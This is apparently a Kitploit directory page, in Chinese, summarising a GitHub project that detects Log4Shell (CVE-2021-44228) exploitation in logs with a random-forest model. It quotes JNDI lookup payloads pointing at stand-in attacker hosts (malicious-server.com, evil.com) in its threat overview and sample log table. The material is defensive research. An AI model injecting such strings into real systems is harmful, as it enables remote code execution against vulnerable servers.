Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4Shell-vulnerability-CVE-2021-44228- — 该仓库深入分析了 Log4Shell 漏洞(CVE-2021-44228),并实现了一种基于机器学习的方法,用于检测日志数据中的利用尝试。 | Kitploit
工具/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
漏洞分析机器学习入侵检测论文与研究学习与教育精选资源异常检测日志分析

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

该仓库深入分析了 Log4Shell 漏洞(CVE-2021-44228),并实现了一种基于机器学习的方法,用于检测日志数据中的利用尝试。

查看仓库
191年前尚未审核
分享

Log4Shell 威胁检测(CVE-2021-44228)

概述

本仓库提供了对基于机器学习的 Log4Shell (CVE-2021-44228) 威胁检测系统的深入分析和实现。内容包括:

  • 理解 Log4Shell:它是什么以及为何危险
  • 数据集收集:来源和预处理步骤
  • 特征工程:提取基于 JNDI 的恶意模式
  • 机器学习模型训练:基于随机森林的检测
  • 结果与分析:性能指标和评估图表
  • 结论与未来工作

威胁概述 - Log4Shell (CVE-2021-44228)

  • 漏洞: Apache Log4j 2 中的远程代码执行 (RCE)
  • 利用示例:
    ${jndi:ldap://malicious-server.com/exploit}
    
  • 影响: 允许攻击者完全控制受影响的系统
  • 缓解措施: 将 Log4j 更新到补丁版本(2.17.0 或更高版本)并应用防火墙规则

仓库结构

📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

数据收集与来源

使用的数据集:

  • 来自 Zeek 安全数据集 的公共日志
  • 来自 DShield 的蜜罐日志
  • 使用 Metasploit 和 Kali Linux 进行的自定义攻击模拟
  • 在此处下载数据集:Log4Shell 日志

数据集描述

  • 总数据集大小: 80 MB
  • 训练数据: 70% (56 MB)
  • 测试数据: 30% (24 MB)
  • 总日志条目数: 1,000,000
  • 恶意日志: 300,000
  • 良性日志: 700,000

样本日志数据集 (log4shell_logs.csv)

时间戳源 IP目标 IP请求状态码User-Agent日志消息
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0普通日志消息
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

特征工程

  • 日志规范化:转换时间戳,提取字段
  • 基于正则表达式的特征提取:识别 jndi、ldap、rmi 和 dns 模式
  • 文本向量化:基于 TF-IDF 的特征转换

用于威胁检测的机器学习模型

  • 算法: 随机森林分类器
  • 评估指标: 准确率、精确率、召回率、F1 分数

用于模型训练的 Python 代码

import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# 加载数据集
df = pd.read_csv("datasets/log4shell_logs.csv")

# 特征工程 - 提取 JNDI 模式
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# 文本向量化
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# 训练-测试分割
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# 训练模型
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# 预测
y_pred = clf.predict(X_test)

# 模型评估
print(classification_report(y_test, y_pred))

结果与性能分析

测试结果:

  • 精确率: 98%
  • 召回率: 95%
  • F1 分数: 96%
  • 误报率: 3%

与现有工作的比较:

  • 传统的基于规则的 SIEM 系统准确率为 80-85%。
  • 我们基于 ML 的方法实现了 96% 的准确率,显著提高了检测率。
  • 与基于深度学习的方法相比,我们的随机森林模型更快且可解释,同时达到了相似的精确度。

精确率-召回率曲线

Log4Shell 检测的精确率-召回率曲线

混淆矩阵

Log4Shell 检测的混淆矩阵

结论与未来工作

结论:

  • 随机森林模型能够以高精确率有效检测 Log4Shell 威胁。
  • 使用 JNDI 模式识别进行特征提取提高了准确性。
  • 真实世界的日志可能包含对抗性规避,需要进一步调优。

未来工作:

  • 实施深度学习(LSTM、基于 Transformer 的模型) 用于异常检测。
  • 集成实时日志处理管道(例如 ELK 栈、Apache Kafka)。
  • 将检测扩展到其他基于日志的 CVE 漏洞。

如何使用

  1. 克隆仓库:
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. 安装依赖:
    pip install -r requirements.txt
    
  3. 运行模型训练脚本:
    python scripts/model_training.py
    
  4. 在 results/ 文件夹中分析检测结果。

下载工具